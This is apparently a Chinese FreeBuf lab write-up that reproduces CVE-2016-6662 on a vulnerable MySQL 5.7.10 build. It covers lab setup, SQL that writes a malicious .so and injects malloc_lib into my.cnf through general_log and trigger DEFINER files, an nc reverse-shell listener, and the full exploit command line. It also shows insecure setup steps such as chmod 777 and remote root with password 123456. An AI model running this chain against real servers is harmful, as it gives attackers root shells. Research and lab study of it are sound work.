本文虽主要分析的是 CVE-2016-6662，但涉及层面不止 CVE-2016-6662 这个漏洞。
本文将一步步搭建复现靶机，并探讨与研究 mysql 的语句基础以及mysql语句的技巧和用法细节。
漏洞描述：
该漏洞允许攻击者注入恶意配置到 mysql配置文件 my.cnf中，导致可加载任意扩展库。当扩展库中存在恶意指令时即可getshell。
备注：
以下实验全程开启 SELinux
该漏洞在 SELinux 开启的状态下也可用哦~
实验系统为 Centos7
漏洞范围：
mysql <= 5.7.15
mysql <= 5.6.33
mysql <= 5.5.52
环境搭建
需要在 mysql官网 中 自行下载 符合版本的 mysql。
由于在Centos7上安装时默认的 yum源头是设置的 mysql5.7.30。我们不能使用 yum源安装，需要手动下载 源码，然后编译安装：
第一步、下载 mysql5.7.10 源码
进入 mysql 各种版本下载页面：
https://downloads.mysql.com/archives/community/
选择 mysql5.7.10，本实验以 5.7.10 作为例子。
下载时选择 源码方式，系统为 常规Linux，下载含有 Boost Headers 的源码包：
第二步、创建用户
在 Linux 中，mysql 不允许使用 root 账号 运行。必须添加一个低权用户运行 mysql服务
添加用户，并且不允许登录：
useradd -s /sbin/nologin mysql
第三步、解压 mysql 源码包
将下载好的 mysql 源码包放到你想放的路径。最好放到 /usr/local 下。
解压命令：
tar -xzvf xxxxxx.tar.gz
第四步、安装依赖包
由于源码编译 mysql 需要一些运行库、依赖包等东西。我们需要先自行下好：
yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
第五步、编译安装
解压完成后，进入刚解压好的mysql 目录下，执行命令进行编译：
cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost
命令运行完后，再进行安装：
make && make install
安装完成后，应该会有一个新文件夹 /usr/local/mysql。这个就是安装好的mysql 的文件夹了。
第六步、配置 mysql 配置文件
默认一般是没有自动创建 /etc/my.cnf 文件的。需要我们自己拷贝一份模板文件过去。
my.cnf 模板文件在 mysql 目录（这里往后讲的 mysql 目录都是指 安装完成后创建的 /usr/local/mysql）下的 support-files 文件夹里。
模板文件名为：
/usr/local/mysql/support-files/my-default.cnf
将其拷贝为 /etc/my.cnf
cp my-default.cnf /etc/my.cnf
我们还需要创建一个文件夹，供数据库文件存放。我直接在 mysql 目录创建了一个名为 data 的文件夹。将其作为 数据库文件存放路径：
mkdir /usr/local/mysql/data/
为保证权限，可以给它 777：
chmod 777 /usr/local/mysql/data/
将整个 mysql 目录所属归为 mysql 用户：
chown mysql:mysql /usr/local/mysql
配置 mysql 配置文件。在配置文件模板的基础上，修改三个重点配置：
basedir 设定为 mysql 目录
datadir 设定为 数据库文件存放目录
port 设定为 数据库监听端口
第七步、创建 mysql 服务
注意：一定要先配置好 mysql 配置文件 /etc/my.cnf，不然创建服务的时候会报错
在 mysql 目录下 的 bin 目录，执行命令：
./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
其中，user参数为 启动 mysql 的用户。我们使用我们刚刚创建好的低权限用户。
basedir 和 datadir 必须和配置文件 /etc/my.cnf 的值一致。不然也会报错
执行完后，将会在 mysql目录下的 support-files 文件夹看到 mysql.server 文件。
我们将 mysql.server 文件拷贝为 /etc/init.d/mysqld
cp mysql.server /etc/init.d/mysqld
完成后，我们就可以使用命令：
/etc/init.d/mysqld restart
重启mysql 服务
原理介绍：
这个漏洞官方介绍网上很多。这里我就用大白话的方式来讲，并配合简单的示例来演示：
基本介绍
mysql 配置中在 [mysqld] 下有一个配置项。名为 malloc_lib。这个配置项可以加载任意位置的 so 文件，并执行。
然而执行 malloc_lib 指定的 so 文件的进程是 mysql_safe。这个进程是以 root 用户运行的：
但是由于是配置文件指定的 so 文件，mysql服务需要 重启 才会重新加载配置文件。所以最后需要将 mysql 重启才能完成整个攻击流程。
简单演示
我们需要下载好 大神写好的 c文件：
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
修改攻击脚本：
由于是演示，就用本机。 mysql 配置文件就写默认的配置文件 /etc/my.cnf：
写入后保存退出。进行编译：
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
将会生成一个 so文件：
配置 /etc/my.cnf 文件，在 [mysqld] 下加上一行配置：
malloc_lib=/tmp/mysql_hookandroot_lib.so
这里 malloc_lib 指定的就是刚刚生成好的恶意 so文件 路径
写入后保存退出。由于 poc 写的是 127.0.0.1，所以我们开启本机上对应的端口:
nc -lvp 6033
重启 mysql 服务：
/etc/init.d/mysqld restart
有个小小的报错，不过不要紧，我们已经getshell了：
后文的攻击大致流程就是这样子：
想办法修改配置文件，并加上一行配置，最后重启mysql服务
root权限 – 尝试手工
配置mysql环境
我们首先让 mysql 的 root 用户能够让外网登录，连入mysql，输入以下命令：
grant all privileges on *.* to 'root'@'%' identified by '123456'; flush privileges;
上传写入恶意 so文件
值得一提的是，mysql5.7.10 默认是开放 secure_file_priv 的
关于写入恶意 so文件，我们可以通过 python 并配合 mysql 的 dumpfile 语句。将文件的十六进制码进行写入。
python 文件转十六进制码：
import binascii
f = open("mysql_hookandroot_lib.so", "rb")
a = f.read()
hexstr = binascii.b2a_hex(a)
f.close()
f = open("res.txt","w")
f.write(hexstr)
f.close()
得到一大串十六进制字符：
构造 mysql 语句：
注意：mysql写入十六进制码时，需要在字符前加一个 0x
select 0x一大串字符 into dumpfile "/tmp/cvetest.so"
关键点 – my.cnf 追加/新增配置
这个漏洞能够利用成功的最关键的一步，就是通过mysql的命令，修改 / 新增 my.cnf 配置。使其能够成功读取到 malloc_lib 配置项。
这里有几个坑点，一一列举：
（1）配置文件路径
mysql 中除了默认的 /etc/my.cnf。还有别的配置文件路径。并且是顺序读取的。放一张官网图：
https://dev.mysql.com/doc/refman/5.7/en/option-files.html
如图所示，不仅仅会读取 /etc/my.cnf文件，而且还会读取 $MYSQL_HOME/my.cnf，这个是指 mysql目录下的my.cnf。
为什么钟情于 mysql目录下的 my.cnf呢？因为 mysql目录，mysql用户99%的几率是可读写的。而别的目录可不可写就难说了。。
（2）outfile / dumpfile
正常情况下，谈到导出文件。第一反应就是使用 mysql 的语句：outfile、dumpfile。
可惜，这里有一个坑点。
我们来尝试用 mysql 的outfile 写一个 my.cnf 出来：
select "[mysqld]\nmalloc_lib=/tmp/cvetest.so" into outfile "/usr/local/mysql/my.cnf";
然后重启 mysql 的时候将会报错：
这是因为，我们通过 outfile / dumpfile 写出来的文件，权限是 rw rw rw。
在 mysql 中有个安全策略：如果配置文件的权限可被 其他用户 写，则将会忽略这个配置文件。
而通过 outfile 写出来的文件权限是 rw rw rw。不符合 mysql 的安全策略规则。
所以我们得另辟蹊径。
（3）general_log与配置文件格式
在mysql中想要写入文件，还有一个语句：general_log。
我们可以通过 general_log，写入 my.cnf 文件。
通过 general_log 写入的文件其他用户 无权限。
首先，先将 general_log 文件路径设置为 mysql目录下的 my.cnf 文件。即：/usr/local/mysql/my.cnf
set global general_log_file = "/usr/local/mysql/my.cnf";
开启 general_log：
set global general_log=on;
写入配置：
MySQL [(none)]> select "
"> [mysqld]
"> malloc_lib=/tmp/cvetest.so
"> #";
写入成功后，查看文件权限：
查看内容，发现通过 general_log 新增写入文件的方式，会先写入 banner 信息，然后再写如具体日志。
由于 my.cnf 文件不是以 [] 开头。mysql 读取的时候会报错。也无法成功getshell：
（4）攻击条件
在测试的时候发现，general_log 对于已经存在的文件，将会追加。
而 my.cnf 中的配置。配置不正确 mysql 将会忽略配置。但是配置文件必须以 [] 开头。
得出攻击条件：
当 mysql 有已经创建好的 my.cnf 文件时，才可通过 general_log 对该文件追加配置。
我们创建好一个 /usr/loca/mysql/my.cnf。简单写一个配置：
[mysqld] secure_file_priv = NULL
将新的 my.cnf 所有权给 mysql：
chown mysql:mysql my.cnf
重启 mysql。然后我们像上面的（3）一样：修改 general_log 路径；开启 general_log；写入恶意配置项：
查看配置文件，由于之前已经写好了配置文件，所以现在 my.cnf 是以 [] 开头的：
尝试重启 mysql：
成功 getshell：
（5）/etc/my.cnf
在实际情况中，可能 mysql 的配置项就一个默认的 /etc/my.cnf。那我们可不可以通过 general_log 追加到 /etc/my.cnf 中呢？
答案是：看情况。。。
默认 /etc/my.cnf 的权限是 r rx r
如果这种情况设置 general_log ，则会报错：
mysql要写入的话，需要具有 写入 权限
现实中管理员错配权限也是经常发生的情况。
将 /etc/my.cnf 权限修改为 rw r r：
chmod 644 /etc/my.cnf
尝试写入：
成功写入：
重启后自然成功getshell：
非root权限 – 使用exp
配置mysql环境
按照网上的说法，其实不需要root用户，只需要一个具有 select,insert,create,file 权限的用户即可。
我们来创建一个用户，及其对应的数据库：
连入mysql，执行下面语句：
create database cvetest; grant file on *.* to 'cveuser'@'%' identified by '123456'; grant select,insert,create on cvetest.* to 'cveuser'@'%'; flush privileges;
将 /etc/my.cnf 权限设置为 600，所属用户为 mysql：
chmod 600 /etc/my.cnf chown mysql:mysql /etc/my.cnf
配置exp
首先我们需要先下载大佬写好的攻击脚本：一个python文件和一个c文件：
0ldSQL_MySQL_RCE_exploit.py：
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.pymysql_hookandroot_lib.c：
http://legalhackers.com/exploits/mysql_hookandroot_lib.c
默认kali没有安装 mysql-connector，而大神写的脚本中用了这个库。
不安装的话将会报错：
ImportError: No module named mysql.connector
我们需要手动安装：
python -m pip install mysql-connector
由于python脚本中有些配置和我们实验环境不符，我们还需要手动修改一下：
（1）python – 将 trigger 触发器目录设置成实验靶机的 data 目录
首先需要知道靶机的 data 目录在哪。连入靶机的 mysql ，输入命令：
show variables like "%data%";
这里的 datadir 的值就是 mysql 服务的 data 目录路径。
修改 python 脚本：
（2）python – 修改恶意so文件导出路径
虽然脚本里说 /tmp 重启会丢失文件， /var/lib/mysql mysql 也有权限写入
但是实际上用的时候可能会报错，没有权限写入。
个人认为最好把路径改回成 /tmp
（3）c – 修反弹shell端口
编辑 c 文件，注意该文件需要和 python 文件放在同一目录下。
修改配置：
ATTACKERS_IP 设置为 攻击机ip
SHELL_PORT 设置为 攻击机接收反弹shell的端口
INJECTED_CONF 设置为 我们攻击时使用的 my.cnf 路径
运行 exp
直接运行 exp：
pyhton 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost 10.11.123.249 -dbname cvetest -mycnf /etc/my.cnf
mysql触发器
我们来看看这个 exp 是如何实现 非 root 用户 却能够修改 general_log 配置 的：
找到关键SQL语句：
将其单独抽出来整理格式查看：
这是一个触发器
但是这不是直接执行的，而是通过 mysql 的 dumpfile 语句写入到文件里的：
为什么要用触发器呢？为什么要写入到文件中不直接执行呢？
带着这些疑问，我们来实践一下：
非 root 用户，无法直接 set global general_log
先说一个小细节：
select user() 和 select current_user() 的区别：
select current_user() 查询出来的用户才是真正的存在数据库里的用户格式。
尝试设置 general_log：
无权限。
触发器 – 以他人权限执行 SQL 语句
官网中对于触发器的格式描述：
官网链接在此：
https://dev.mysql.com/doc/refman/5.7/en/create-trigger.html
大意是说， mysql的触发器可以通过设置 DEFINER 参数，以别的用户身份执行触发器的 SQL语句。
语句：
create definer='root'@'localhost' trigger test1 指定使用用户 'root'@'localhost'执行触
发器 test1
after INSERT 触发器在执行 INSERT 语句之后执行
on test1.t1 在哪个表上设置触发器
for each ROW 固定格式
BEGIN 固定格式，表示触发器要执行的SQL语句开始
select "1" into outfile "/tmp/1234567.txt"; 触发器要执行的SQL语句
END 固定格式，表示触发器要执行的SQL语句结束
但是并不是任何用户都能使用 root 用户身份去执行的。
想要以 root 身份执行触发器，创建者必须具有 super 权限：
备注：
delimiter | 表示暂时性设置 Mysql 每条语句的分隔符为 |，mysql语句分隔符默认是 ;。但是由于触发器中需要写入 sql语句，sql语句中有 ; 。会导致 sql语句提前结束。所以需要暂时性修改分隔符。
莫非到此就结束了？我们还有一计。
参考大神的脚本时，发现它将触发器写入到了一个文件中，这个文件路径也是我们用 exp 的时候需要修改的路径：
莫非 mysql 创建了触发器之后，将会以文件形式保存下来？
动手实验一探究竟。
我们直接使用 root 用户来创建触发器：
语句：
跟上面那个一样
create definer='root'@'localhost' trigger test1 after INSERT on test1.t1 for each ROW BEGIN select "1" into outfile "/tmp/1234567.txt"; end |
创建成功：
我们到 mysql 的数据库文件目录去看看：
如果不知道数据库文件目录在哪，在mysql终端中输入 ：
show variables like "%datadir%";
默认情况下，数据库文件目录下，数据库文件夹名 和数据库名一致。我们找到我们的 test1数据库的目录，并 进入
注意：这里的数据库文件夹 mysql 用户都是可写的
发现真的多了两个 TRN文件，有用的文件就是和数据表名对应的 TRN文件：
查看内容：
也就是说，mysql 的触发器文件就是保存在数据库文件目录下的数据库文件夹中。文件名与表名对应。
exp 原理
根据上面实验，我们可以整理出 exp 的原理和流程了：
（1）首先连入 mysql 。连入账户不需要 root 用户，只要能 select,insert,create,file 即可
（2）将 恶意 so库 写入到文件夹中。这里最好写到 /tmp 目录下。也可尝试写入 mysql 数据库目录下
（3）创建一个新表，为后面触发器做准备
（4）将触发器的配置写入到触发器文件中，触发器的配置为通过 general_log 对 my.cnf 文件进行配置追加
（5）对表进行操作，使其执行触发器
Referer：
来源：freebuf.com 2020-07-15 21:48:29 by: xiaopan233
请登录后发表评论
注册